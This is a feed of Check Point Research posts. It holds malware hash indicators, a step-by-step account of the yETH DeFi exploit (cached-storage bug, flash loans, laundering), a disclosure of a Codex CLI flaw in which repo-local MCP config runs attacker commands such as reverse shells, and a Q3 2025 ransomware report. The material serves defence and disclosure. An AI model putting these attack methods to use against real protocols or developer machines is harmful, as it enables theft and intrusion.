7efe5c1229178c1b48f6750c846575e7f48d17ea817997bd7acba0e5ecf1e577 - 032Loader
D88115113E274071B03A3B4C1DA99EAEA7B8D94ADF833DFD26943AF0A6D78B4D - 032Loader
f094ff83d4b7d06bc17b15db7d7dc0e622778b0eda71e8fc9fdf7db83c460426 - nfdp.dll
36f00887f6c0af63ef3c70a60a540c64040b13a4209b975e96ce239e65548d4a - fdp.dll
ecf0fbd72aac684b03930ad2ff9cdd386e9c13ddf449f27918f337dc8963590e - LalsDumper
2b57deb1f6f7d5448464b88bd96b47c5e2bd6e1c64c1b9214b57c4d35a591279 - LalsDumper
b4a53f117722fb4af0a64d30ec8aa4c4c82f456e3d2a5c5111c63ce261f3b547 - ShadowPad Loader
866fde351251092fb5532e743459ba80968cd5516cce813c8755467f5e8a47a1 - ShadowPad Loader
188ab2d68f17ecf08a7a4cfc6457c79b0a5117b3277352a7371a525416129114 - ShadowPad Loader
809ddcbb64d6f2ccc4a8909068da60e6ea8b3ebd9c09dd826def0e188c7a2da2 - config.ini
f438ca355e6888c4c9cd7287b22cfe5773992ef83f0b16e72fb9ae239d85586c - FinalDraft
c305b3b3f9426d024cdd262497a5d196264397bfed445705759d0a793a58fe6e - Encrypted FinalDraft

The post Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation appeared first on Check Point Research.

By: Dikla Barda, Roman Zaikin, and Oded Vanunu

On November 30, 2025, Check Point Research detected a critical exploit targeting Yearn Finance’s yETH pool on Ethereum. Within hours, approximately $9 million was stolen from the protocol. The attacker achieved this by minting an astronomical number of tokens—235 septillion yETH (a 41-digit number)—while depositing only 16 wei, worth approximately $0.000000000000000045. This represents one of the most capital-efficient exploits in DeFi history.

The Vulnerability: Cached Storage Flaw

The attack exploited a critical flaw in how the protocol manages its internal accounting. The yETH pool caches calculated values in storage variables called packed_vbs[] to save on gas costs. These variables store virtual balance information that tells the protocol how much value exists in the pool. The vulnerability emerged when the pool was completely emptied—while the main supply counter correctly reset to zero, the cached packed_vbs[] values were never cleared.

How the Attack Was Executed

The attacker executed the exploit in three stages: First, they performed over ten deposit-and-withdrawal cycles using flash-loaned funds, deliberately leaving small residual values in the packed_vbs[] storage with each iteration. Second, they withdrew all remaining liquidity, bringing the supply to zero while the cached values remained populated with accumulated phantom balances. Finally, they deposited just 16 wei across eight tokens. The protocol detected that supply was zero and triggered its “first-ever deposit” logic, which read the cached values from storage. Instead of minting tokens based on the 16 wei actually deposited, the protocol read the accumulated phantom values and minted trillions upon trillions of LP tokens, giving the attacker control over the entire pool.

Background: The yETH Ecosystem

Protocol Architecture

Yearn Finance’s yETH is a liquid staking token representing a basket of Ethereum-based liquid staking derivatives (LSDs). The protocol consists of three main components:

1. yETH Token – A standard ERC20 token with minter privileges
2. yETH Pool – A weighted stableswap AMM (Automated Market Maker) pool
3. Rate Providers – Oracle contracts that provide exchange rates for various LSDs

The pool contract implements a complex mathematical invariant based on weighted pool mechanics (similar to Balancer), adapted with Curve-style virtual balances for gas optimization.

The Pool’s Core Mechanism

Unlike simple constant-product AMMs (x × y = k), the yETH pool uses a sophisticated invariant that accounts for:

• Multiple assets (up to 32)
• Weighted ratios for each asset
• Exchange rates for LSDs (wstETH, rETH, cbETH, etc.)
• Virtual balances calculated as: vb_i = balance_i × rate_i / PRECISION

The pool stores these virtual balances in state variables to avoid recalculating them on every operation—a gas optimization that became the source of the vulnerability.

The Vulnerability: Incomplete State Cleanup

The Core Bug

The vulnerability exists in the interaction between two functions: remove_liquidity() and add_liquidity().

In remove_liquidity() (lines 590-654):

The Problem: When ALL LP tokens are burned (supply == 0), the virtual balances are decremented proportionally but never explicitly reset to zero. Due to rounding, tiny amounts remain in self.packed_vbs[].S

In add_liquidity() (lines 523-528): 

In _calc_vb_prod_sum() (lines 729-744):

The Fatal Flaw: This function reads self.packed_vbs[asset] from storage, expecting them to be zero for a “first deposit” scenario. However, after multiple deposit/withdrawal cycles, these storage slots contain accumulated residual values that were never reset.

The Exploit Transaction: A Technical Walkthrough

Phase 1: Capital Acquisition

The attacker borrowed assets via flash loans from Balancer and Aave, obtaining wstETH, rETH, WETH, ETHx, and cbETH without upfront capital.

Phase 2: State Poisoning

The attacker executed multiple deposit-withdrawal cycles to accumulate residual values in packed_vbs[] storage. Each cycle deposited assets into vaults and the yETH pool, then withdrew portions. The virtual balances decremented but never fully reset.

Phase 3: Pool Drain

The attacker burned all remaining LP tokens, setting self.supply = 0 while self.packed_vbs[] retained accumulated values and was NOT reset.

Phase 4: Exploit

The attacker deposited minimal wei amounts across all supported tokens. The protocol treated this as an initial deposit and read stale storage values, minting septillions of yETH tokens instead of calculating from the actual dust deposit.

Phase 5: Fund Extraction

The attacker swapped the minted yETH tokens for WETH on Balancer pools and withdrew the underlying assets (sfrxETH, wstETH, ETHx, cbETH, rETH, apxETH, wOETH, mETH) from the pool.

Phase 6: Cleanup

The attacker converted all stolen assets to ETH via Uniswap V3 and other DEXs, repaid all flash loans with fees, and sent a portion to Tornado Cash for laundering while retaining the remainder as profit.

The Design Bug

1 wstETH ≈ 1.15 ETH

1 rETH ≈ 1.08 ETH

1 cbETH ≈ 1.00 ETH

To calculate how many LP tokens to give you, the pool needs to:

1. Get the exchange rate for each token (expensive!)
2. Calculate: virtual_balance = actual_balance × rate / PRECISION
3. Sum all virtual balances
4. Use this for the invariant calculation

Doing this EVERY time is expensive gas-wise, so instead of recalculating every time, the pool:

• Calculates once when you deposit/withdraw
• Stores the result in packed_vbs[]
• Reuses this cached value in future calculations

Expensive (done every operation without caching): 

Cheap (with caching): 

What Happens When It’s Not Zero When It Should Be?

Normal Flow (Working Correctly), scenario: Pool has 100 ETH worth of assets

Bug Scenario (When Not Reset) What the code ASSUMES when supply == 0:

What ACTUALLY happens after full withdrawal:

The pool was designed to store virtual balances in state to save gas on recalculations. This is a common optimization pattern in DeFi:

The Missing Edge Case

The developers correctly handled the normal flow:

• Adding liquidity updates virtual balances ✓
• Removing liquidity decrements virtual balances ✓
• Swapping updates virtual balances ✓

But they missed the edge case:

• Removing ALL liquidity should RESET virtual balances to zero ✗

The Implicit Assumption

The code assumed that when prev_supply == 0, this meant a “first-ever deposit” to a pristine pool. But after a full withdrawal, prev_supply == 0 while packed_vbs[] contained residual state from previous operations.

Conclusion

The yETH exploit stands as a masterclass in finding and exploiting subtle state management bugs. The attacker demonstrated deep understanding of:

• The protocol’s mathematical invariants
• Storage layout and state persistence
• How to manipulate state across multiple transactions
• How to maximize impact with minimal capital

For defenders, this exploit reinforces that correctness in complex systems requires explicit handling of ALL state transitions, not just the happy path. A missing state reset—a single oversight in 1000+ lines of code—enabled the theft of $9 million.

As DeFi protocols grow more complex, incorporating novel AMM designs and mathematical optimizations, the attack surface for such subtle bugs expands. The only defense is rigorous engineering discipline: explicit state management, comprehensive testing, and the humility to assume that if something CAN go wrong, eventually someone will find a way to exploit it.

How this could have been prevented

Onchain security must evolve from post-incident forensics to real-time prevention:

→ Simulate transactions before execution to catch abnormal token minting ratios (16 wei in → septillions out is not normal)

→ Track state across transaction sequences — this attack required 10+ deposit/withdrawal cycles to poison packed_vbs[]. Single-transaction monitoring would miss it

→ Block execution automatically when drain patterns emerge, not just alert after the fact

The difference:

• Seeing the exploit after $9M is gone vs.
• Stopping the malicious add_liquidity() before it executes

The Lesson: A single missing state reset — packed_vbs[] not clearing when supply hit zero — enabled this entire attack. Complex DeFi systems need runtime protection that understands protocol logic, not just signature-based detection.

Learn more about Check Point’s Blockchain Security solution here.

The post The $9M yETH Exploit: How 16 Wei Became Infinite Tokens appeared first on Check Point Research.

By: Isabel Mill & Oded Vanunu

OpenAI Codex CLI is OpenAI’s command-line tool that brings AI model-backed reasoning into developer workflows. It can read, edit, and run code directly from the terminal, making it possible to interact with projects using natural language commands, automate tasks, and streamline day-to-day development One of its key features is MCP (Model Context Protocol) – a standardized way to integrate external tools and services into the Codex environment, allowing developers to extend the CLI’s capabilities with custom functionality and automated workflows.

Research Motivation

We tested whether Codex safely handles project-supplied configuration and environment overrides automatically loaded at runtime, and whether implicit trust in those project files, which the CLI may read and execute without explicit user consent or provenance checks, can be abused in collaborative workflows.

Our Research Findings

During testing, we found that Codex CLI will automatically load and execute MCP server entries from a project-local configuration whenever codex is run inside that repository., Concretely, if a repository contains a .env that sets CODEX_HOME=./.codex and an accompanying ./.codex/config.toml with mcp_servers entries, Codex CLI resolves its config to that local folder, parses the MCP definitions, and invokes the declared command/args immediately at startup. There is no interactive approval, no secondary validation of the command or arguments, and no re-check when those values change — the CLI treats the project-local MCP configuration as trusted execution material.

This sequence turns ordinary repository files into an execution vector: an attacker who can commit or merge a .env and a ./.codex/config.toml can cause arbitrary commands to run on any developer who clones the repo and runs codex. In practice, we demonstrated this with deterministic payloads (file-creation) and by replacing benign commands with reverse-shell payloads; both executed without user prompts. Because the behavior binds trust to the presence of the MCP entry under the resolved CODEX_HOME rather than to the contents of the entry, an initially innocuous config can be swapped for a malicious one post-approval or post-merge, creating a stealthy, reproducible supply-chain backdoor that triggers on normal developer workflows.

Technical Deep Dive

Codex resolves its configuration path at startup, then parses and materializes any MCP server entries it finds so they’re available to the runtime. When the effective CODEX_HOME points at a repository folder, Codex treats that repo-level config as the authoritative source and will invoke the command + args listed under mcp_servers as part of expected startup/automation flows. In the vulnerable behavior, there is no secondary validation, no interactive approval, and no re-check when the command/args change.  The CLI simply runs what the project config declares.

This means an attacker can perform the following steps:

1. Prepare a repository with a benign-looking project structure.

2. Add a .env that redirects configuration to the repo:

3. Commit a ./.codex/config.toml containing an mcp_servers entry that declares command + args. In this example, we used a harmless file-creation payload, but the same chain can be swapped for a reverse shell.

4. When a developer clones or updates the project and runs codex, the repo .env setting CODEX_HOME=./.codex causes Codex to load ./.codex/config.toml and execute its mcp_servers.*.command immediately, without prompting. The command runs in the user’s context; an attacker can silently swap in a reverse shell, exfiltrate data, or harvest credentials. In the image example below, we demonstrate this by opening Calculator on the victim machine.

Real World Consequences

This vulnerability enables silent, repeatable remote code execution in any environment where developers run codex against a repository. By abusing project-local config loading, an attacker who can land a commit or PR can turn an otherwise innocent repo into a persistent backdoor that triggers whenever a developer runs codex, with no additional prompts or approvals.

An attacker with write or PR access can:

• Achieve persistent remote access: Embed a reverse shell or persistent payload in ./.codex/config.toml (delivered alongside a .env that redirects CODEX_HOME) and regain access each time a developer runs codex.
• Execute arbitrary commands silently: Any shell command defined in an MCP entry runs immediately in the user’s context whenever codex loads the project config.
• Escalate and exfiltrate: Developer machines frequently hold cloud tokens, SSH keys, and source; attackers can harvest credentials, exfiltrate secrets, or push further exploits.
• Persist and swap payloads post-merge: Because trust is tied to the resolved config location rather than the contents, an initially harmless entry can be replaced later with malicious commands without triggering re-approval.
• Propagate via supply-chain artifacts: Compromised templates, starter repos, or popular open-source projects can weaponize many downstream consumers with a single commit.
• Contaminate CI and build pipelines: If CI, automation, or build agents run codex on checked-out code, the compromise can move from workstations into build artifacts and downstream deployments.
• Enable lateral movement and privilege escalation: With harvested credentials and local access, an attacker can pivot to cloud resources, repositories, or internal networks.

This breaks the CLI’s expected security boundary: project-supplied files become trusted execution material, and that implicit trust can be exploited with minimal effort and no user interaction beyond standard development workflow.

Responsible disclosure timeline:

• Check Point Research responsibly disclosed the issue to the OpenAI Codex CLI team on August 7, 2025.
• OpenAI issued a fix on August 20, 2025, in Codex CLI version 0.23.0. The patch prevents .env files from silently redirecting CODEX_HOME into project directories, closing the automatic execution path we demonstrated.
• Our testing confirmed the fix is effective. Codex CLI now blocks project-local redirection of CODEX_HOME, requiring safer defaults and stopping immediate execution of attacker-supplied project files.

To ensure protection, we strongly recommend all users update to Codex CLI version 0.23.0 or later.

The post CVE-2025-61260 — OpenAI Codex CLI: Command Injection via Project-Local Configuration appeared first on Check Point Research.

Key Findings

• Record fragmentation and decentralization: The number of active extortion groups in Q3 2025 rose to a record of 85 groups, the highest number observed to date. The top 10 groups accounted only for 56% of all published victims, down from 71% in Q1.
• Stable high activity: Ransomware victim postings stabilized at an average of 535 victims per month, up from 420 year-over-year (YoY) in Q2–Q3 2024, but below the Q1 2025 peak.
• LockBit’s return: Lockbit’s reappearance with the release of LockBit 5.0 in September 2025 potentially signals affiliate re-centralization under a major brand
• Emerging dominance: Qilin became the most active group, averaging 75 victims per month, followed by Akira, INC Ransom, and Play.
• Regional concentration shifts: South Korea entered the top 10 list of most attacked countries following a focused campaign by Qilin targeting its financial sector.
• Sector impact: Manufacturing and business services remained the most affected sectors. Healthcare held steady at 8% of total victims, despite selective avoidance by major actors like Play.

Ransomware in Q3 2025: RaaS fragmentation increases and Lockbit is back

During the third quarter of 2025, we monitored more than 85 active data leak sites (DLS) that collectively listed 1,592 new victims. Compared to the 1,607 victims reported in Q2 2025, the publication rate remained stable though it is still notably higher than the 1,270 victims recorded in Q3 2024 (a 25% increase YoY). Overall, there are approximately 520 to 540 new victims per month, indicating that ransomware activity has plateaued albeit at historically high levels.

Figure 1 – Total Number of Reported Ransomware Victims in DLS, per month.

Despite the termination of several prominent ransomware groups, the overall number of active threat actors continues to grow, with new ones appearing every month.

During Q3 2025, we observed a steady expansion of double-extortion activity, driven mostly by small and emerging operators. Of the 85 data leak sites tracked this quarter, 47 groups published fewer than ten victims, suggesting a growing number of affiliates moving beyond established ransomware-as-a-service (RaaS) programs to conduct attacks independently.

This fragmentation follows the closure or dormancy of several major RaaS brands during the year, including RansomHub, 8Base, BianLian, Cactus, and others. In Q3 alone, 14 new groups began publishing victims, bringing the total number of newly observed actors in 2025 to 45. In Q1, the ten most active groups accounted for 71% of all DLS postings. In Q2, their share fell to 63%, and by Q3, to just 56%.

These findings illustrate the limited long-term impact of law-enforcement operations on the overall number of ransomware victims. Despite several high-profile takedowns during the past year—most of them directed at large RaaS operations such as LockBit, 8Base, and Blacksuit—the total volume of attacks did not significantly decline. Instead, the attacks continue a gradual upward trend, from an average of  approximately 420 victims per month in Q2–Q3 2024 to about 535 per month in the same period of 2025.

This limited effect appears to stem from the focus of enforcement efforts: takedown operations primarily target RaaS infrastructure and administrators, which does not affect the affiliate operators who conduct the intrusions and drive the operational execution. When a major RaaS platform is disrupted, these affiliates typically migrate to alternative programs or establish their own data-leak sites, resulting in only short-term interruptions to overall activity levels.

The effects of affiliate mobility are evident both in the proliferation of new leak sites and in the rising activity of existing groups. Qilin, the most active actor in Q3 2025—and one of the most aggressive in recruiting former RansomHub affiliates—averaged around 75 victims per month, up from 36 in Q1 prior to RansomHub’s closure in April. INC Ransomware increased its monthly total from 23 to 39 victims, and Play went from 28 to 33 during the same period.

This ongoing fragmentation of the ecosystem may further erode ransomware operators’ reliability. Victims traditionally rely on attackers reputation to supply decryption keys after payment. Large RaaS brands have a commercial incentive to maintain credibility and provide the keys, but smaller, short-lived groups do not, leading to reduced payment rates which are currently estimated at 25–40% of total attacks.

In this context, the re-centralization of affiliates around major, recognizable brands remains strategically significant. Large RaaS programs preserve their market advantage through stability, reputation, and structured affiliate infrastructure. The re-emergence of LockBit, discussed in the following section, may represent precisely such a re-consolidation of affiliates under a stable and trusted brand identity.

Figure 2 – Ransomware Groups by Publicly Claimed Victims – Q3 2025.

Qilin, Akira, INC Ransom, Play, and Safepay maintained their positions among the most active groups in Q3. Warlock and The Gentlemen emerged more recently, both demonstrating rapid early activity: Warlock began posting victims in June 2025 and reached 43 total listings in Q3, while The Gentlemen claimed 38 victims during a single month of operation in September 2025.

Lockbit 5.0 is here – is LockBit truly back?

Until its disruption during Operation Cronos in early 2024, LockBit dominated the RaaS ecosystem, accounting for 20–30% of all published victims. Following the takedown, several arrests were announced, and successor groups — first RansomHub, then Qilin — attempted to inherit its affiliate base. However, the group’s core administrator, known as LockBitSupp, was never apprehended and in underground forums continued to hint at an eventual comeback.

The release of LockBit 5.0 in September 2025 marks the group’s return to active operations, reigniting questions about whether the RaaS landscape may again consolidate around this long-standing brand.

Figure 3 – LockBit’s share of all DLS-published victims.

LockBit had long promised a comeback. In May 2025, following the latest in a series of public setbacks, the group’s administrator, LockBitSupp, responded on the RAMP underground forum, declaring that they would “always rise up after being hacked.”

Figure 4 – LockBit administrator vowing to return on the RAMP forum.

Figure 5 – LockBit administrator announcing the group’s return on RAMP chat.

The XSS Russian-language cybercriminal forum previously banned LockBitSupp following a dispute with another user and reaffirmed that “explicit advertising of RaaS will remain prohibited.” RaaS programs depend on affiliate recruitment for their business model and maintaining visibility on prominent criminal forums such as XSS or RAMP is essential to their work.

By early September, the XSS administrator reported that LockBitSupp requested to be reinstated and opened the decision to a community vote.

Figure 6 – XSS forum administrator polling members on whether to reinstate LockBitSupp.

Despite this effort, the vote ultimately failed, and LockBit remains banned from XSS.

Figure 7 – Voting results on LockBitSupp’s proposed return to XSS.

In early September 2025, LockBit announced on RAMP the official launch of LockBit 5.0, coinciding with the sixth anniversary of the operation. New affiliates were asked to provide a Bitcoin deposit of roughly US $500 for access to a new encryptor and an updated control panel.

Figure 8 – LockBit 5.0 affiliate registration screen.

Since that announcement, we identified more than 15 distinct victims affected by LockBit 5.0, which replaced the earlier 4.0 builds that were still active until April 2025. LockBit continues to enforce strict operational security: all affiliate interfaces require individualized credentials, and no victims have been publicly listed on the group’s data-leak site.

Figure 9 – LockBit 5.0 ransom note from an attack in mid-September 2025

Updated ransom notes now explicitly identify themselves as “LockBit 5.0” and include a unique personal identifier that allows each victim to access a private negotiation portal. Victims are typically granted a 30-day grace period before the stolen data is published.

Figure 10 – Screenshot of LockBit 5.0 negotiations with a victim, mid-September 2025.

Analysis of the initial campaign shows that approximately 65 percent of identified attacks targeted organizations in the United States, with the remainder affecting Mexico, Indonesia, and several European countries.

LockBit 5.0 represents an upgraded evolution of the previous 4.0 version, incorporating Windows, Linux, and ESXi variants. The new build introduces enhanced evasion and anti-analysis mechanisms, faster encryption routines, and the use of a randomized 16-character file extension to disrupt signature-based detection. Most confirmed infections were deployed on Windows systems, while roughly 20 percent targeted ESXi virtual infrastructure.

Historically, LockBit has been among the most active and disruptive RaaS programs. With its extensive experience and the lower entry barrier for new affiliates, the re-emergence of the group poses a renewed risk to organizations across many sectors. The actions observed in September likely represent only the leading edge of a larger campaign, and the October victim postings on LockBit’s data-leak site are expected to confirm its full operational return.

DragonForce’s marketing efforts

DragonForce distinguishes itself among emerging ransomware groups through its heavy emphasis on public relations and coalition branding, frequently issuing high-profile statements and partnership claims on criminal forums. In September 2025, it announced on RAMP a supposed “coalition” with Qilin and LockBit, presented as a unified affiliate initiative.

However, these declarations appear largely symbolic, with no verified evidence of shared infrastructure or joint operations. The announcements likely serve to attract affiliates and project influence within a fragmented RaaS market. This reflects DragonForce’s broader strategy to maintain visibility and credibility in an increasingly competitive underground ecosystem.

Figure 11 – DragonForce announcing updates and coalition with LockBit and Qilin.

DragonForce roughly tripled its monthly victim count since the shutdown of RansomHub and claimed 56 victims in Q3 2025. This is still fewer than Qilin and Akira but shows steady growth. DragonForce continues to actively recruit affiliates and promote new features in its RaaS program and recently announced on RAMP a data-driven extortion service that offers affiliates tailored analysis of stolen data to maximize ransom leverage.

Figure 12 – DragonForce’s “data audit” services.

Under this model, an affiliate that accessed a large dataset (typically over 300 GB) from a company with annual revenues above US $15 million can submit it for analysis and maximize the extortion impact. In a recent showcased example, DragonForce reviewed stolen files from a gold mining company and highlighted the most valuable commercial and financial information, accompanied by a customized extortion letter.

Figure 13 – DragonForce Audit example.

Qilin – The Dominant RaaS Operation of 2025

Qilin remains the most active ransomware group in 2025, increasing its monthly victim rate to an average of 75 victims in Q3, up from 36 in Q1.

Although the group presents itself as ideologically motivated, its operations appear entirely financially driven. In a June 2024 interview published on its WikiLeaksV2 blog, Qilin’s operators described themselves as “idealists who love our country.” This statement, however, contrasts sharply with the group’s broad and opportunistic targeting across sectors and geographies.

Figure 14 – Qilin interview from June 2024 on their official blog.

In a separate interview on SuspectFile, a Qilin affiliate characterized the program as profit-focused and flexible, with affiliates responsible for intrusion and exfiltration while Qilin manages infrastructure, leak-site operations, and negotiations. Reported affiliate share ranges between 80% and 85%, which is among the highest in the market. This has attracted numerous operators previously active under RansomHub and BianLian.

Qilin’s open affiliate framework accommodates actors with diverse motivations and capabilities. In one recent case, the group’s data-leak site briefly listed Israel’s Shamir Medical Center among its victims.

Figure 15 – Shamir Medical Center announcement on Qilin’s DLS.

According to Israeli researcher Erez Dassa, the responsible affiliate was likely an Iranian-linked threat actor. Dassa reported that following direct communication, Qilin’s administrators agreed that public association with terrorism or politically motivated activity could expose the group to additional pressure and subsequently removed the listing.

Figure 16- Erez Dassa’s Telegram post explaining the Shamir incident.

This incident illustrates the range of motivations operating within large RaaS ecosystems. While affiliates enjoy broad autonomy, Qilin demonstrates a degree of central oversight and reputational management, removing politically sensitive cases that may jeopardize its long-term operations. The group continues to balance open recruitment and strategic control, maintaining its position as a leading and resilient RaaS brand.

Geographic Distribution of Victims – Q3 2025

The geographic distribution of ransomware victims in Q3 2025 continues to follow established trends in the global ransomware ecosystem. The United States accounted for roughly half of all reported cases, reaffirming its position as the primary target for financially motivated threat actors. Most publicly listed victims remain concentrated in Western, developed economies, where organizations are perceived as having greater financial resources and a higher likelihood of paying ransom.

Figure 14- Publicly Claimed Victims by Countries, Q3 2025.

An unusual concentration of attacks in South Korea elevated the country to seventh place on the list of most affected nations this quarter. This spike is linked almost entirely to Qilin, which listed 30 South Korean victims, 28 of them between August and September 2025. Of these, 23 belonged to the financial services sector. While the cause of this focused campaign remains uncertain, the Korea Herald newspaper attributed it to a compromised cloud server operated by an IT contractor serving multiple mid-sized private equity funds.

Safepay maintained a strong focus on Germany and the United Kingdom, with each accounting for approximately 10% of its total victims in Q3. Together with INC Ransom, which also recorded 11 British victims, these two groups were the most active in the UK, followed closely by Qilin with 10.

Twenty percent of DragonForce’s victims were based in Germany, making it the most active ransomware group in the country.

INC Ransom reported a notably high proportion of Canadian victims (8%), the largest share of any group targeting Canadian organizations this quarter.

Figure 15- Canadian Victims by Actor, Q3 2025.

Ransomware Attacks by Industry – Q3 2025 Analysis

The industry distribution of ransomware victims in Q3 2025 shows a consistent cross-sector impact, largely unchanged from previous quarters. Profit-oriented organizations with high downtime costs, such as industrial manufacturing, and those holding sensitive or regulated data, such as business services, remained the most targeted sectors, each representing approximately 10% of all extortion attempts.

Healthcare and medical organizations continue to face steady targeting due to the critical nature of their operations and the sensitivity of stored information. Interestingly, threat actors view these victims as high-risk targets because of the attention such incidents attract from law enforcement. In Q2 2025, healthcare accounted for approximately 8% of all publicly listed victims, a figure that remained stable through Q3.

While some groups, such as Play Ransomware, appear to enforce an internal policy against attacking healthcare institutions, others such as Qilin, INC Ransomware, and KillSec continue to list healthcare providers among their victims, disregarding the informal ethical boundaries observed by larger RaaS brands.

Figure 16 – Ransomware Victims by Industry, Q3 2025.

Conclusion

The ransomware ecosystem in Q3 2025 remains highly active and structurally fragmented, while at the same time increasingly adaptive. The dissolution of major RaaS programs did not reduce the overall volume of attacks but instead redistributed the load among numerous smaller and more agile actors. Groups such as Qilin and DragonForce have capitalized on this trend, expanding through aggressive affiliate recruitment and service innovation. LockBit’s re-emergence signals a potential trend toward re-centralization around trusted brands.
Despite periodic law-enforcement disruptions, the fundamental dynamics of the ransomware market, using affiliate-driven operations, data extortion models, and cross-platform tooling, remain intact. Continued monitoring of affiliate migration patterns and emerging extortion techniques are essential to understanding how this decentralized ecosystem evolves through the remainder of 2025.

The post The State of Ransomware – Q3 2025 appeared first on Check Point Research.